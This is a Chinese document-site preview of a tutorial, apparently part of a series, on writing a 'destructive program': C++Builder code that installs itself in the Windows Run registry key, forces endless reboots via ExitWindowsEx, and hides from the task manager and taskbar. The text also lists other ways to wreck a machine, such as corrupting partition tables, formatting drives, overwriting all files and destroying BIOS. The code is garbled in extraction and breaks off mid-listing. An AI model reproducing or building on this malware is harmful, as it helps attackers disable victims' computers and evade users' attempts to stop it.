破坏程序教学 八.doc_第1页
破坏程序教学 八.doc_第2页
破坏程序教学 八.doc_第3页
破坏程序教学 八.doc_第4页
破坏程序教学 八.doc_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

破坏程序教学 八 破坏程序教学32位版破坏程序教学zsy基础知识自从开办本站以来,好多朋友来信求教病毒程序编写,问题提出的水平也高低不同,我也尽可能的作了详细讲解。在回答问题时我做过了一定的调查,发现大多数经常来乱世天使的朋友都已经具备了一定的水平,所缺乏是经验和提示,所以今天我写了这篇文章,希望能抛砖引玉给大家一定启示,但不希望有人因此而作出损人害己的事(台下一片鼓掌声)。 大家注意到了吗?本文是32位版的!(台下有人问:什么是32位版?)笨,32位版说通俗些即是windows下编的程序如:VC,VB,C+builder,DOS下的TC,BASIC都是16位的。为什么不用16位的呢?费话,16位的破坏程序是80年代的产物,早就被人写烂了,追不上时代的脚步,信不信由你,我曾用TC一夜写了36个不同的16位破坏程序。破坏程序教学16位版我将用16位的TC写一篇给大家作参考。我们用什么工具编写呢?其实,不管是VC还是VB以及Delphi都各有所长.为了满足大部分人的水平,我决定用C+builder4.0来做先锋(就因为它简单易懂),喜欢VC、vb的朋友别走开,因为你可以利用这种思路。关于c+builder:我极力推荐这个工具(我本来用它编写黑客程序),因为大量的VCL库足以满足大部分要求,而且比起VC简单实用多了,如果你想迅速掌握windows编程,这无疑是最佳途径!关于“破坏”:其实破坏的手段极多,读了本段你会发现原来我们的操作系统是那样的弱不禁风漏洞百出。我先随便举几个简单的例子:删除(win98me已经将它移进windows目录),破坏分区表,(用内存的垃圾数据写入硬盘的引导区,参见本站的"分区表破坏程序");强行写入“c:concon”(你在“运行”下键入试试!马上叫你死翘翘),格式化硬盘(别忘了“C盘杀手”哦),填内存(隐形打开大程序,让你机器速度暴减),改写所有文件(呵呵,比格式化硬盘更卑鄙,让你永不能恢复),破坏BIOS(把我害苦了的CIH!)总之太多了!我还能举1001个例子。 做人嘛,总得讲点道德给别人条活路对吧,做了太决小心被人。所以我先用“反复重启”来做本文的例子。(破解很简单只要事先备份好注册表,或者删除、移走源程序即可)。哦!对了本例子的源程序本站有下载。(嗯?怎么台下都睡着了?)你将掌握的知识:1.关于如何读写注册表?2.如何使电脑重启?3.如何隐藏程序(不是改属性为“隐藏”)?4.如何不让程序出现在CTRL+ALT+DEL内?我们在以后几篇把程序实现但更希望您能以上步骤自己想出它的原理。 程序的实现大家好,不知道大家读了一后是否来了灵感?我在最后给了大家一点提示并写出了步骤希望大家能够通过思考来想出破坏程序“反复启动”的原理(别告诉我你连想也没想过哦!)。下面我就详细的告诉大家它的原理并写出程序代码,看看和你们的答案一样吗?第一步:怎样读写注册表?我们先来思考一下,为什么要读写注册表?有一定基础的朋友一定知道“注册表”是windows系统的灵魂,它是许多软件记录数据的地方,当然也包括windows本身。windows通过它记录大量的数据,然后在下一次启动时再读取相应的数据来设置系统,于是漏洞无法避免的出现了经过高手的研究,人们渐渐的可以自己来控制注册表以达到不同的目的。我们便利用它来实现开机时程序的读取-也就是在HKEY_LOCAL_MACHINE->SOFTWAR->MICROSOFT->WINDOWS->CurrentVerison->RUN下加入 我们文件的名称即可,这样下次windows启动时顺便会带上我们的程序一起启动(这种方法同样适用与system.ini文件)!这就是为什么要读写注册表的原因。源程序:pohuai.cpp (我们暂时定名为pohuai程序)#include <vcl.h>#pragma hdrstop#include <registry.hpp>控制注册表读写的文件,不要忘了加哦!#include "pohuai.h"/-#pragma package(smart_init)#pragma resource "*.dfm"TForm1 *Form1;/-_fastcall TForm1:TForm1(TComponent* Owner): TForm(Owner)/-void _fastcall TForm1:FormCreate(TObject *Sender)AnsiString s;s="pohuai" ;定义键名Reg=new TRegistry;Reg->RootKey =HKEY_LOCAL_MACHINE;指向根目录Reg->OpenKey ("SOFTWAREMICROSOFTWindowsCurrentVersionRun",TRUE);找到相应目录Reg->WriteString(s,"c:pohuai.exe");写入键名和键值(因为用了openkey所以省略了第一个路径参数)另外,确定破坏程序在根目录。/-pohuai.cpp#ifndef pohuaiH#define pohuaiH/-#include <Classes.hpp>#include <Controls.hpp>#include <StdCtrls.hpp>#include <Forms.hpp>/-class TForm1 : public TForm_published: / IDE-managed Componentsvoid _fastcall FormCreate(TObject *Sender);private:TRegistry *Reg; / User declarations声明一个私有的全局变量Reg,类型为TRegistrypublic: / User declarations_fastcall TForm1(TComponent* Owner);/-extern PACKAGE TForm1 *Form1;/- -#endif简单吧!这样我们每次启动windows就会自动加载我们的“pohuai.exe”程序。OK!不知不觉已经深夜了,就写到这里吧,zsy星期五为大家继续写三最好大家能来封信说说有什么不懂的,我会尽力讲得更清楚,这样我可以更有方向的教大家。给我来信第二步:如何让电脑重新启动?喂!你可别以为是用“开始>关机>重新启动呀,我们可是用软件来控制电脑的启动!大家可千万别小看这一步,这才是精华部分,也是本程序最难的难点,所以我要讲得详细点(还不快拿好笔记本?!)。这一步到底有多难呢?首先你要略懂一点windows API函数(什么?你没听说过?)其实只要你明白它的作用即可(反正书上说API函数多达几千个,认真学也得一年半载的,本人也不敢说掌握了),我给大家简述一下:传说当年microsoft公司(让我翻翻书继续讲)提供了一系列的编程函数,这样的目的是:1.为windows软件提供统一的外观。2.可以简化代码。这些函数被封藏在DLL(动态连接库)中,被称为"应用程序接口Applicantion Programming Interface"简称API)这样我们只要调用它们来完成许多复杂的工作,例如重新启动。如果你实在不懂,就当它是一个可以使机器重启的普通函数吧。原理:ExitwindowsEx函数函数原型:ExitwindowsEx(UINT uFlags,DWORD dwReserved);函数功能:该函数注销当前用户,关闭系统;或者关闭并重新启动系统。此函数发送WM_QUERYENDSESSION消息给应用程序来确定它们是否能被终止。参数介绍:uFlags;指定关机类型。此参数必须包括下列值之一:EWX_LOGOFF,EWX_POWEROFF,EWX_REBOOT,EWX_SHUTDOWN。还包括EWX_FORCE,EWX_FORCEIFHUNG两个可选值。现在只简单介绍一下本文程序中用到的参数,其它参数可参考本文的参考文献。EWX_LOGOFF:关闭所有调用函数ExitWindowsEx的进程的安全环境里运行的进程,然后注销用户。EWX_REBOOT:关闭系统并重新启动系统。(我们就用这一步即可) EWX_SHUTDOWN:关闭系统使之能完全关闭电源,所有文件缓冲区都被清洗到磁盘,所有的运行的进程都停止。源程序:#include <vcl.h>#pragma hdrstop#include "reboot.h" (本程序暂定为reboot.exe)/-#pragma package(smart_init)#pragma resource "*.dfm"TForm1 *Form1;/-_fastcall TForm1:TForm1(TComponent* Owner): TForm(Owner)/-void _fastcall TForm1:Button1Click(TObject *Sender)ExitW indowsEx(EWX_REBOOT,0); 利用了API关机函数ExitWindowsEx!/-reboot.h#ifndef rebootH#define rebootH/-#include <Classes.hpp>#include <Controls.hpp>#include <StdCtrls.hpp>#include <ExtCtrls.hpp> 最关键的一句#include <Forms.hpp>/-class TForm1 : public TForm_published: / IDE-managed ComponentsTButton *Button1;void _fastcall Button1Click(TObject *Sender);private: / User declarationspublic: / User declarations_fastcall TForm1(TComponent* Owner);/-extern PACKAGE TForm1 *Form1;/-#endif实在很简单,这短短的几行就完成了重启的任务,这说明了如果我们能很好的理解强大的API函数无疑将为我们的破坏程序加上了致命的重磅炸弹,过几个星期我会上载几篇我整理的API文章,希望大家能好好利用。在破坏程序4中,我将会近一步完善pohuai.exe,到底还有什么需要改进呢?看看第一篇吧!最后完善在破坏程序2、3中,我们已经基本完成了主程序的基本框架,即重启和注册表写入,今天我来讲解下如何近一步完善我们的程序。到底还有什么要改善呢?太多了,如躲避杀毒软件的追杀,防止意外中断,为了大家都能理解,我就用两个简单例子来完善:1.让程序不出现在CTRL+ALT+DEL中 2.启动程序时不让用户看见,这两段程序足以应付大部分菜鸟的拦截。1.让程序不出现在CTRL+ALT+DEL中原理:很简单,其实也是利用了windows系统的一个漏洞,有编程经验的朋友一定知道,当应用程序主窗口没有标题时,程序是不会让CTRL+ALT+DEL给拦截的,因为当你按下CTRL+ALT+DEL时你将根本看不见它。聪明吧!这样就可以简单地躲开软启动的阻截,而不用编写相对复杂的锁键盘程序。诚实的说以下程序并非我先想出来的,但应用到这里却恰到好处,所以我借花献佛的拿出来给大家参考。程序:(程序名暂定为reboot)打开reboot.cpp添加黄颜色的一行即可。WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)tryApplication->Title = "" /程序标题为空的Application->Initialize();Application->CreateForm(_classid(TForm1), &Form1);Application->Run();catch (Exception &exception)Application->ShowException(&exception);return 0;虽然还有很多的方法来避免CTRL+ALT+DEL的拦截,但上述方法无疑是最简单。2.隐藏应用程序。原理:这里所谓的隐藏就是运行时让别人看不见而 已,并非连两个星期前上载的“进程扫描器”都能躲掉。但我相信这足以混过去(除非有人每次开机都数秒)。我们知道当应用程序启动后在任务栏上会有该程序的图标,这样我们第一个问题出现了!如何隐藏掉任务栏上的图标?程序:想隐藏程序的任务条图标,你可以应用ShowWindow函数并传给它Application->Handle窗口句柄。ShowWindow(Application->Handle, SW_HIDE);若想让任务条图标再出现,只需将SW_HIDE改为SW_SHOW。ShowWindow(Application->Handle, SW_SHOW);注: 你可以设置主窗口的Visible属性为false来隐藏它。注: 通过ShowWindow来隐藏窗口的任务条图标是不持久的。某些动作会使任务条图标重现。你可以将隐藏的应用程序窗口设为Tool Window来移走程序的任务条图标而避免它再次出现。Tool windows永远不会有任务条图标。 使应用程序窗口成为一个Tool Window有一个副作用:当用户按下Alt-TAB时它将不在程序列表中出现。你可以调用API函数GetWindowLong和SetWindowLong来使应用程序窗口成为一个Tool Window。WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)DWORD dwExStyle = GetWindowLong(Application->Handle, GWL_EXSTYLE);dwExStyle |= WS_EX_TOOLWINDOW;SetWindowLong(Application->Handle, GWL_EXSTYLE, dwExStyle);tryApplication->Initialize();Application->CreateForm(_classid(TForm1), &Form1);Application->Run(

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论